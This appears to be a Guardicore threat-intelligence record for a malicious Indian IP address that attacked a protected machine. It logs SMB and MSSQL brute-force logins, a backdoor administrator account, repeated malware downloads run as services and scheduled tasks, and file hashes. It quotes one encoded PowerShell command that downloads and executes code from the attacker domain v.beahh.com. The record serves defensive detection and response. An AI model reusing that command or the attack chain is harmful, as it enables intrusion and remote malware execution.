IP Address: 117.200.55.226Malicious

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IP Address:
117.200.55.226​
Malicious

This IP address attempted an attack on a machine protected by Guardicore Centra

Threat Information

Role

Attacker, Scanner

Services Targeted

MSSQL

Tags

Access Suspicious Domain Download File User Created Successful MSSQL Login File Operation By CMD DNS Query Service Start Service Deletion Successful SMB Login SMB Share Connect PowerShell MSSQL Brute Force SMB Brute Force MSSQL User Added to Group SMB IDS - Attempted User Privilege Gain System File Modification Scheduled Task Creation Download and Execute Execute MsSql Shell Command Service Creation Service Stop Listening CMD

Associated Attack Servers

v.beahh.com

Basic Information

IP Address

117.200.55.226

Domain

-

ISP

BSNL

Country

India

WHOIS

Created Date

-

Updated Date

-

Organization

-

First seen in Guardicore Centra

2018-09-09

Last seen in Guardicore Centra

2020-11-20

What is Guardicore Centra
Guardicore Centra is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Centra generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

A user logged in using SMB with the following username: Administrator - Authentication policy: Reached Max Attempts (Part of a Brute Force Attempt)

SMB Brute Force Successful SMB Login

The file C:\Windows\YsSfMRsx.exe was downloaded and executed

Download and Execute

A user logged in using MSSQL with the following credentials: sa / ************************* - Authentication policy: Reached Max Attempts (Part of a Brute Force Attempt)

MSSQL Brute Force Successful MSSQL Login

c:\windows\system32\services.exe installed and started %systemroot%\yssfmrsx.exe as a service named IBqE under service group None

Service Creation Service Start

A user logged in using MSSQL with the following credentials: sa / ************************* - Authentication policy: Previously Approved User (Part of a Brute Force Attempt) 3 times

MSSQL Brute Force Successful MSSQL Login

C:\Windows\temp\svchost.exe was downloaded

Download File

MSSQL executed 6 shell commands

Execute MsSql Shell Command

User k8h3d was created with the password *********** added to groups: Administrators and logged in using SMB 4 times

Successful SMB Login User Created User Added to Group

A user logged in using SMB with the following username: k8h3d - Authentication policy: Correct Password (Part of a Brute Force Attempt)

SMB Brute Force Successful SMB Login

The file C:\Windows\KXboYTOZ.exe was downloaded and executed

Download and Execute

c:\windows\system32\services.exe installed and started %systemroot%\kxboytoz.exe as a service named JFcq under service group None

Service Creation Service Start

A user logged in using SMB with the following username: Administrator - Authentication policy: Previously Approved User (Part of a Brute Force Attempt) 9 times

SMB Brute Force Successful SMB Login

C:\Windows\RXcHmLoC.exe was downloaded

Download File

The file C:\Windows\rGHTNxYF.exe was downloaded and executed

Download and Execute

c:\windows\system32\services.exe installed and started %systemroot%\rghtnxyf.exe as a service named IHcS under service group None

Service Creation Service Start

IDS detected Attempted User Privilege Gain : SQL sp_configure - configuration change

IDS - Attempted User Privilege Gain

IDS detected Attempted User Privilege Gain : sp_password - password change

IDS - Attempted User Privilege Gain

IDS detected Attempted User Privilege Gain : xp_cmdshell - program execution

IDS - Attempted User Privilege Gain

System file C:\Windows\AppCompat\Programs\Amcache.hve was modified 9 times

System File Modification

The command line powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA= was scheduled to run by modifying C:\Windows\System32\Tasks\Microsoft\Windows\Bluetool

Process netsvcs Service Group started listening on ports: 65533

Listening

The file C:\Windows\gfHqkYqd.exe was downloaded and executed

Download and Execute

c:\windows\system32\services.exe installed and started %systemroot%\gfhqkyqd.exe as a service named idCY under service group None

Service Creation Service Start

The file C:\Windows\qEMdTUNg.exe was downloaded and executed

Download and Execute

c:\windows\system32\services.exe installed and started %systemroot%\qemdtung.exe as a service named UbCB under service group None

Service Creation Service Start

The file C:\Windows\DRusIMpM.exe was downloaded and executed

Download and Execute

c:\windows\system32\services.exe installed and started %systemroot%\drusimpm.exe as a service named wcoS under service group None

Service Creation Service Start

Process c:\windows\system32\windowspowershell\v1.0\powershell.exe attempted to access suspicious domains: v.beahh.com

Access Suspicious Domain DNS Query

PowerShell session started by c:\windows\system32\windowspowershell\v1.0\powershell.exe

C:\Windows\temp\tmp.vbs was downloaded

Download File

Service wcoS was stopped

Service Stop

The file C:\Windows\IhXUpWtV.exe was downloaded and executed

Download and Execute

c:\windows\system32\services.exe installed and started %systemroot%\ihxupwtv.exe as a service named eygg under service group None

Service Creation Service Start

A user logged in using MSSQL with the following username: sa - Authentication policy: Previously Approved User (Part of a Brute Force Attempt) 2 times

MSSQL Brute Force Successful MSSQL Login

The command line C:\Windows\tCJQlKO.exe was scheduled to run by modifying C:\Windows\System32\Tasks\tCJQlKO

The command line c:\windows\cudhzW.exe was scheduled to run by modifying C:\Windows\System32\Tasks\VDuDsuKu

A user logged in using SMB with the following username: k8h3d - Authentication policy: Correct Password (Part of a Brute Force Attempt)

SMB Brute Force Successful SMB Login

A user logged in using SMB with the following username: Administrator - Authentication policy: Previously Approved User (Part of a Brute Force Attempt) 6 times

SMB Brute Force Successful SMB Login

The file C:\Windows\HBiYvaSl.exe was downloaded and executed

Download and Execute

c:\windows\system32\services.exe installed and started %systemroot%\hbiyvasl.exe as a service named fbXr under service group None

Service Creation Service Start

The file C:\Windows\DVXysOnj.exe was downloaded and executed

Download and Execute

c:\windows\system32\services.exe installed and started %systemroot%\dvxysonj.exe as a service named PmJq under service group None

Service Creation Service Start

The file C:\Windows\qJQCPxuV.exe was downloaded and executed

Download and Execute

c:\windows\system32\services.exe installed and started %systemroot%\qjqcpxuv.exe as a service named wuKF under service group None

Service Creation Service Start

C:\Windows\Temp\tmp.vbs was downloaded

Download File

Service wuKF was stopped

Service Stop

The command line c:\windows\cudhzW.exe was scheduled to run by modifying C:\Windows\System32\Tasks\kuAJMLgx

A user logged in using MSSQL with the following username: sa - Authentication policy: Previously Approved User (Part of a Brute Force Attempt) 2 times

MSSQL Brute Force Successful MSSQL Login

A user logged in using SMB with the following username: k8h3d - Authentication policy: Correct Password (Part of a Brute Force Attempt) 2 times

SMB Brute Force Successful SMB Login

The file C:\Windows\zDdrKLQM.exe was downloaded and executed

Download and Execute

c:\windows\system32\services.exe installed and started %systemroot%\zddrklqm.exe as a service named kyLJ under service group None

Service Creation Service Start

The file C:\Windows\OJvPWMkn.exe was downloaded and executed

Download and Execute

c:\windows\system32\services.exe installed and started %systemroot%\ojvpwmkn.exe as a service named QbIC under service group None

Service Creation Service Start

Connection was closed due to timeout

Associated Files

\\server-backup\c$\zilnbirc.exe

SHA256: 3c2fe308c0a563e06263bbacf793bbe9b2259d795fcc36b953793a7e499e7f71

56320 bytes

C:\Windows\temp\svchost.exe

SHA256: 245855cd9c89326b531c7ce02aa313320a2a61b26771c389b6e0f997cf248e58

130000 bytes

C:\Windows\temp\svchost.exe

SHA256: 693b97e37f7536aead9064a632ae96a6734c65ce3e8c2ce7fb5ad2524e4decda

6967064 bytes

C:\Windows\temp\svchost.exe

SHA256: ed3f20d2704f7a9d128faf4727318bf104b53ed6a6c63d9b5812a46bc3626ab7

2210000 bytes

C:\Windows\temp\svchost.exe

SHA256: 0c5b4a2280f100533ea84d08081882948ac8474a2b1dd307b15fc6a17fbac30f

5720000 bytes

C:\Windows\temp\svchost.exe

SHA256: 756461159a1c781ca8e4de45a41fd124f10c94fa92a09f7b238ab96b234e4e93

6500000 bytes

C:\Windows\temp\svchost.exe

SHA256: 8be27fbff206a8c04b9b81f596b73e97c28aeae7a1a46f686b922ce716fde585

4810000 bytes

C:\Windows\temp\svchost.exe

SHA256: dcddb52647089a957aa086549b626cc6c4a953e271f0821826f15faf401ce83d

6045000 bytes

C:\Windows\temp\svchost.exe

SHA256: 6dfe7ddaeb82e8aacc30046acb6f1f36c18fee14ef3416f97783019fd445ffe0

6890000 bytes

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IP Address: 117.200.55.226​Malicious